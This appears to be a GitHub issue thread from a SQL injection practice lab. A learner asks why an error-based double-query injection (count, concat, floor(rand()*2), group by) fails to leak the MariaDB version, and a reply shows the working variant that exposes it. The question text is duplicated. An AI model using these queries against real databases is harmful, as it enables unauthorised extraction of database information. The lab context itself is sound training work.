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Hi All,
While learning from video 6 i understood that the rand function should be producing errors which would be providing us information about underlying database But when i am using group by clause as provided in the sqli tutorial i am not getting the expected output as audi had in the video.
Now my question's are , is this behavior because of Mysql version i am using ? has there been any change in the working of group by clause ? and What shall i do to resolve this issue and get an error as shown in the video tutorial ?
I am adding a snip of my terminal below.
I am using Bitnami's xampp version 5.6.31 for the lab and from the below snip you could understand the version of database in use.
MariaDB [security]> select count(*),concat (0x03a,0x03a,(select version()),0x03a,0x03a, floor(rand()2)) a from information_schema.tables group by a;
+----------+--------------------------+
| count() | a |
+----------+--------------------------+
| 97 | : :10.1.25-MariaDB : :0 |
| 91 | : :10.1.25-MariaDB : :1 |
+----------+--------------------------+
2 rows in set (0.01 sec)
MariaDB [security]> select count(*),concat (0x03a,0x03a,(select version()),0x03a,0x03a, floor(rand()*2)) a from information_schema.tables group by a;
ERROR 1062 (23000): Duplicate entry '' for key 'group_key'
This error does not show me any Duplicate entry .
If you remember video the version would be in the quotes after Duplicate entry.
Please provide your valuable response if anyone has faced similar issue. I am in need of someone who could give me an understanding or point out the direction where i can get the understanding am lacking right now.
The text was updated successfully, but these errors were encountered:
I don't know why but it's ok when use '0x3a' or other instead of '0x03a' .
mysql> select count(*),concat (0x03a,0x03a,(select version()),0x03a,0x03a, floor(rand()*2)) a from information_schema.tables group by a;
ERROR 1062 (23000): Duplicate entry '' for key '<group_key>'
mysql> select count(*),concat (0x3a,0x3a,(select version()),0x3a,0x3a, floor(rand()*2)) a from information_schema.tables group by a;
ERROR 1062 (23000): Duplicate entry '::5.7.21-0ubuntu0.16.04.1::0' for key '<group_key>'
Hi All,
While learning from video 6 i understood that the rand function should be producing errors which would be providing us information about underlying database But when i am using group by clause as provided in the sqli tutorial i am not getting the expected output as audi had in the video.
Now my question's are , is this behavior because of Mysql version i am using ? has there been any change in the working of group by clause ? and What shall i do to resolve this issue and get an error as shown in the video tutorial ?
I am adding a snip of my terminal below.
I am using Bitnami's xampp version 5.6.31 for the lab and from the below snip you could understand the version of database in use.
MariaDB [security]> select count(*),concat (0x03a,0x03a,(select version()),0x03a,0x03a, floor(rand()2)) a from information_schema.tables group by a;
+----------+--------------------------+
| count() | a |
+----------+--------------------------+
| 97 | : :10.1.25-MariaDB : :0 |
| 91 | : :10.1.25-MariaDB : :1 |
+----------+--------------------------+
2 rows in set (0.01 sec)
MariaDB [security]> select count(*),concat (0x03a,0x03a,(select version()),0x03a,0x03a, floor(rand()*2)) a from information_schema.tables group by a;
ERROR 1062 (23000): Duplicate entry '' for key 'group_key'
This error does not show me any Duplicate entry .
If you remember video the version would be in the quotes after Duplicate entry.
Please provide your valuable response if anyone has faced similar issue. I am in need of someone who could give me an understanding or point out the direction where i can get the understanding am lacking right now.
The text was updated successfully, but these errors were encountered: